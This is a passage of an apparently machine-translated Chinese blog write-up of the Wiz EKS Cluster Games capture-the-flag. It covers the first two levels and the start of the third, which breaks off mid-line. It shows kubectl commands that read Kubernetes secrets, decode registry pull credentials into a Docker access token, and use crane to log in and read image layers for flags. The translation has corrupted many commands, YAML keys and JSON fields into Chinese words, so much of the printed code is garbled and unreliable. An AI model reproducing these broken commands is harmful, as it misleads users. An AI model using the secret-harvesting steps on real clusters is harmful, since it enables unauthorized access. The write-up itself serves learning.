发布于周五 15:184天前 近日,WIZ举办了云原生安全挑战赛。刚出来的时候我就已经通过了。年底很忙,没有时间写文章记录整个过程。我发现这个挑战太经典了,所以我决定写一篇文章来记录一下,谈谈我从中学到的东西和感悟。 射击场地址:https://eksclustergames.com/ ## 前言 射击场的环境假设您侵入一个低权限的AWS EKS Pod 并在该Pod 中查找Flags。每个挑战都在具有不同权限的不同Kubernetes 命名空间中运行。总共有5个级别。 ## 1. 秘密探索者通过列出集群中的所有秘密来快速启动您的任务。你能发现其中的旗帜吗? ```` { \'秘密\': [ '得到', \'列表\' ] } ```` 这个问题给出了相应的权限。发现secret有get和list权限,我们尝试读取一下。 ```` root@wiz-eks-challenge:~# kubectl 获取秘密log-rotate -o yaml api版本: v1 数据: 标志: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ== kind: 秘密 元数据: 创建时间戳: \'2023-11-01T13:02:08Z\' name: 日志旋转 命名空间: 挑战1 资源版本: \'890951\' uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c type: 不透明 ```` 我们可以很容易地看出log-rotate中有一个flag,经过Base64解码后,我们可以得到真正的Flag。 wiz_eks_challenge{omg_over_privileged_secret_access} 本题的测试点是关于K8s的秘密。 Secret 用于存储敏感数据,例如密码、令牌或密钥。这类数据可以存储在Pod或镜像中,但放在Secret中是为了更方便地控制数据的使用方式,降低暴露风险。 但如果权限控制做得不好,攻击者可能会从秘密中获取敏感信息。更重要的是,在秘密中使用Base64编码并不安全。 ## 2. 注册表搜寻我们在研究过程中了解到的一件事: 总是检查容器注册表。 为了您的方便,起重机实用程序已预安装在机器上。 ```` { \'秘密\': [ '得到' ], \'豆荚\': [ \'列表\', '得到' ] } ```` 如果第一个问题是登录问题,那么第二个问题就会变得有点困难。在此权限下,我们无法像第一个问题那样列出机密,但我们获得了pod 的部分权限。 (图1:无法列出秘密) 那么我们先来看看Pod 里有什么? ```` root@wiz-eks-challenge:~# kubectl get pods -o yaml api版本: v1 项目: - api版本: v1 kind: 吊舱 元数据: 注释: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: \'true\' 创建时间戳: \'2023-11-01T13:32:05Z\' name: 数据库-pod-2c9b3a4e 命名空间:挑战2 资源版本: \'12166896\' uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6 规格: 容器: - image: eksclustergames/base_ext_image imagePullPolicy: 始终 name: 我的容器 资源: {} TerminationMessagePath: /dev/termination-log TerminationMessagePolicy: 文件 卷安装: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name: kube-api-access-cq4m2 readOnly: 真 dnsPolicy: 集群优先 启用ServiceLinks: 真 imagePullSecrets: - name: 注册表拉秘密-780bab1d nodeName: ip-192-168-21-50.us-west-1.compute.internal preemptionPolicy: PreemptLowerPriority 优先级: 0 restartPolicy: 始终 SchedulerName: 默认调度程序 securityContext: {} serviceAccount: 默认 serviceAccountName: 默认值 终止宽限期秒: 30 公差: -effect: 不执行 key: node.kubernetes.io/not-ready 操作员: 存在 容忍秒: 300 -effect: 不执行 key: node.kubernetes.io/unreachable 操作员: 存在 容忍秒: 300 卷: - name: kube-api-access-cq4m2 预计: 默认模式: 420 来源: - serviceAccountToken: 过期秒数: 3607 path: 令牌 -configMap: 项目: - key: ca.crt 路径: ca.crt name: kube-root-ca.crt - 向下API: 项目: -fieldRef: api版本: v1 fieldPath: 元数据.命名空间 path: 命名空间 状态: 条件: -lastProbeTime: 空 lastTransitionTime: \'2023-11-01T13:32:05Z\' status: \'真实\' type: 已初始化 -lastProbeTime: 空 lastTransitionTime: \'2023-12-07T19:54:26Z\' status: \'真实\' 类型: 就绪 -lastProbeTime: 空 lastTransitionTime: \'2023-12-07T19:54:26Z\' status: \'真实\' type: ContainersReady -lastProbeTime: 空 lastTransitionTime: \'2023-11-01T13:32:05Z\' status: \'真实\' type: PodScheduled 容器状态: -containerID:containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0 image: docker.io/eksclustergames/base_ext_image:latest imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623 最后状态: 终止: 容器ID: 容器d://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af 退出代码: 0 FinishAt: \'2023-12-07T19:54:25Z\' Reason: 已完成 开始于: \'2023-11-01T13:32:08Z\' name: 我的容器 Ready: 真 重新启动计数: 1 开始: 正确 状态: 正在运行: 开始于: \'2023-12-07T19:54:26Z\' 主机IP: 192.168.21.50 Phase: 运行 podIP: 192.168.12.173 podIPs: -ip: 192.168.12.173 qosClass: 尽力而为 startTime: \'2023-11-01T13:32:05Z\' kind: 列表 元数据: 资源版本: \'\' ```` 这里我们重点关注imagePullSecrets,它是一种用于在Kubernetes 集群中拉取私有Docker 镜像的机制。在Kubernetes 中,Pod 可以通过imagePullSecrets 配置项指定一个或多个凭据进行身份验证,以访问私有Docker 镜像存储库。这对于需要访问私有镜像的场景非常有用,因为它允许Kubernetes 集群中的Pod 在从私有存储库拉取镜像时提供必要的凭据。 imagePullSecrets 通常包含一个或多个Docker 注册表凭据,包括用户名、密码和其他信息。这些凭证被加密存储在Kubernetes 集群中,并在Pod 启动时自动注入到相应的容器中,以便访问需要身份验证的私有镜像。 简单来说,我还是可以读取注册表、用户名和密码,这些都是用来拉取镜像信息的。 ```` root@wiz-eks-challenge:~# kubectl 获取秘密registry-pull-secrets-780bab1d --namespace=challenge2 -o json { \'apiVersion\': \'v1\', '数据': { \'.dockerconfigjson\': \'eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRo YldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19\' }, \'善良\': \'秘密\', \'元数据\': { \'注释\': { \'pulumi.com/autonamed\': \'true\' }, \'创建时间戳\': \'2023-11-01T13:31:29Z\', \'名称\': \'registry-pull-secrets-780bab1d\', \'命名空间\': \'挑战2\', \'resourceVersion\': \'897340\', \'uid\': \'1348531e-57ff-42df-b074-d9ecd566e18b\' }, \'类型\': \'kubernetes.io/dockerconfigjson\' } ```` 我们对生成的.dockerconfigjson 进行Base64 解码。 ```` {\'auths\': {\'index.docker.io/v1/\': {\'auth\': \'ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==\'}}} ```` 然后我们第二次执行Base64 解码。 ```` eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo ```` 至此,我们已经获得了注册表、用户名和密码。问题提示我们已经安装了起重机。看来我们的想法是正确的。我们直接使用凭据登录。 ```` 起重机身份验证登录index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo ```` 提示登录成功,然后我们使用crane config信息查看镜像信息,直接找到Flag。 ```` root@wiz-eks-challenge:~# 起重机配置eksclustergames/base_ext_image:latest {\'架构\':\'amd64\',\'配置\':{\'Env\':[\'PATH=/usr/local/sbin:/usr/local/bi n:/usr/sbin:/usr/bin:/sbin:/bin\'],\'Cmd\':[\'/bin/sleep\',\'3133337\'],\'ArgsEsc aped\':true,\'OnBuild\':null},\'已创建\':\'2023-11-01T13:32:18.920734382Z\',\'hi故事\':[{\'创建\':\'2023-07-18T23:19:33.538571854Z\',\'created_by\':\'/bin/sh -c #(nop) ADD文件:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1/\'},{\'创建\':\'2023-07-18T23:19:33.655005962Z\',\'创建者\':\'/bin/sh -c #(nop) CMD [\\\'sh\\\']\',\'empty_layer\':true},{\'创建\':\'2023-11-01T13:32:18.920734382Z\',\'created_by\':\'RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_ except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \\u003e /flag.txt # buildkit\',\'注释\':\'buildkit.dockerfile.v0\'},{\'创建\':\'2023-11-01T13:32:18.920734382Z\',\'created_by\':\'CMD [\\\'/bin/sleep\\\' \\\'3133337\\\']\',\'comment\':\'buildkit.dockerfile.v0\',\'empty_layer\': true}],\'os\':\'linux\',\'rootfs\':{\'type\':\'layers\',\'diff_ids\'333 60[\'sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\' ,\'sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\']}} ``` wiz_eks_challenge{nothing_can_be_said_to_be_certain_ except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret} 这里值得一提的是,这个问题改编自阿里云和IBM云跨租户未授权访问漏洞的真实案例。这个过程比这复杂得多,但想法是一样的。如果您有兴趣,可以阅读更多内容。相关地址如下: https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-潜在-r https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql ## 3. 镜像查询Pod 的镜像不仅仅包含代码。深入研究其ECR 存储库,检查图像层,并揭开隐藏的秘密。 Remember: 您正在受感染的EKS pod 内运行。 为了您的方便,起重机实用程序已预安装在机器上。 ```` { \'豆荚\': [ \'列表\', '得到' ] } ```` 这个问题是Registry Hunt的升级。这里没有Secret 的权限,只有pod 的权限。首先走一遍流程,看看pod里有什么。 ```` root@wiz-eks-challenge:~# kubectl get pods -o yaml api版本: v1 项目: - api版本: v1 kind: 吊舱 元数据: 注释: kubernetes.io/psp: eks.privileged pulumi.com/autonamed: \'true\' 创建时间戳: \'2023-11-01T13:32:10Z\' name: 会计-pod-876647f8 命名空间: 挑战3 资源版本: \'12166911\' uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2 规格: 容器: - 图片: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 imagePullPolicy: 如果不存在 name: 会计容器 资源: {} TerminationMessagePath: /dev/termination-log TerminationMessagePolicy: 文件 卷安装: - mountPath: /var/run/secrets/kubernetes.io/serviceaccount name:kube-ap
创建帐户或登录后发表意见